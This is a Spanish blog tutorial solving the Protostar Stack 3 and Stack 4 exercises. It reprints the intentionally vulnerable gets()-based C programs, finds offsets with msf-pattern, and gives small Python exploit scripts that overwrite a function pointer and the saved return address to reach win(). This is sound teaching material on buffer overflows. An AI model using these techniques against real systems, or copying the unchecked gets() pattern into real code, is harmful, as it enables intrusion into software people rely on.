Saltar al contenido
Volver al Blog

tutoriales · 3 min de lectura

Introducción al exploiting Parte 2 – Stack 3-4 (Protostar)

Continuación de Protostar (Stack 3–4): sobrescritura de punteros a función y de EIP usando overflows clásicos con gets(), offsets y little-endian.

· Manuel López Pérez · tutoriales

Continuación de Protostar (Stack 3–4): sobrescritura de punteros a función y de EIP usando overflows clásicos con gets(), offsets y little-endian.

Introducción al exploiting Parte 2 – Stack 3-4 (Protostar) En este post seguiremos con la resolución de los retos de Protostar, os recomiendo que leáis el post anterior donde resolvemos los 3 primeros retos (0-2). Como dije en la primera parte, yo no soy ningún experto en el exploiting, así que si tenéis alguna correccion o recomendación no dudéis en comentármela.

Stack 3

About Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

Hints both gdb and objdump is your friend you determining where the win() function lies in memory. This level is at /opt/protostar/bin/stack3

Codigo fuente:

 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h>

void win() { printf("code flow successfully changed\\n"); }

int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64];

fp = 0;

gets(buffer);

if(fp) { printf("calling function pointer, jumping to 0x%08x\\n", fp); fp(); } }

Tal y como leemos en las pistas, debemos buscar la dirección de la función win() y ser capaces de llamarla modificando el valor de fp Vamos a decompilar el main: Explicación: En <+9> se le da valor 0 a la variable contenida en [esp+0x5c] En <+24> se llama a gets() donde debemos ser capaces de modificar la variable [esp+0x5c] con la dirección de win() En <+29> se comprueba si la variable [esp+0x5c] es distinta de 0, es decir, si se ha modificado a causa del desbordamiento del buffer En <+57> y <+61> se llamará al contenido de la variable [esp+0x5c] cuyo contenido debe ser la dirección de win()

Busquemos la dirección de win(): win() —> 0x8048424 El siguiente paso será identificar la longitud del buffer que debemos llenar para poder sobrescribir fp con el contenido que queramos. Para esto usamos msf-pattern

 $ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A $ ./stack3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A calling function pointer, jumping to 0x63413163 Segmentation fault $ msf-pattern_offset -q 0x63413163 [*] Exact match at offset 64

Una vez hemos obtenido la longitud del buffer y la dirección de win() podemos crear nuestro exploit:

import struct
padding="A"*64
payload = struct.pack("I",0x8048424) print padding+payload
 $ python stack3.py | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed

Stack 4

About Stack4 takes a look at overwriting saved EIP and standard buffer overflows. This level is at /opt/protostar/bin/stack4

Hints A variety of introductory papers into buffer overflows may help. gdb lets you do “run < input” EIP is not directly after the end of buffer, compiler padding can also increase the size.

Código fuente:

 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }

En este reto también tendremos que ser capaces de llamar a la función win(), pero no será tan fácil ya que esta vez no se llama a ninguna función a través de una variable. Pero podemos sobrescribir la dirección de retorno gracias a gets() y llamar así a win()

Vamos a decompilar el main e identificar la dirección de win: Como veis, en el main() solo se crea un buffer de 64 bytes 0x50 - 0x10 = 64 bytes Y se llama a la función gets() win() —> 0x080483f4 Lo siguiente será encontrar la longitud de nuestro payload para poder editar la dirección de retorno. Para esto usaremos msf-pattern con la dirección que nos devuelve gdb: Ahora ya podemos escribir nuestro exploit:

import struct
padding="A"*76
win=struct.pack("I",0x80483f4) print padding+win

    Share:
    Volver al Blog

    Posts Relacionados

    Ver Todos los Posts »
    ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

    tutoriales · 16 min

    ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

    El 21 de febrero de 2026 cumple un año el hack ByBit. Solo el 3,5 % de los $1.5B se ha congelado. Lo que sí cambió: Safe lanza Guardrail (agosto-2025) bloqueando DELEGATECALL no autorizado, EIP-7702 entra a mainnet con Pectra (mayo-2025), Ethereum Foundation toma el relevo de ERC-7730 desde Ledger y arrastra a Trezor / MetaMask / WalletConnect a un estándar abierto de clear signing. PoC actualizado en Sepolia que compara firma con y sin Guardrail+clear signing.

    · Manuel López Pérez

    Retrospectiva cyber 2025: cuatro casos que explican el año

    tutoriales · 10 min

    Retrospectiva cyber 2025: cuatro casos que explican el año

    ByBit, la wave UK retail (M&S/Co-op/Harrods), SharePoint ToolShell y Windows 10 end-of-support. Cuatro incidentes con criterio explícito — no top exhaustivo, no ranking — y la lección operativa que cada uno deja para 2026.

    · Manuel López Pérez

    Windows 10 fin de soporte — el día después del 14 de octubre

    tutoriales · 11 min

    Windows 10 fin de soporte — el día después del 14 de octubre

    El 14 de octubre de 2025 se acaban los parches gratuitos para Windows 10. Qué deja de recibir el sistema, qué ofrece el ESU consumer (gratis en la EEA, $30 fuera), cuánto cuesta a empresa y cuáles son las primeras CVE que vamos a ver explotadas contra la base instalada.

    · Manuel López Pérez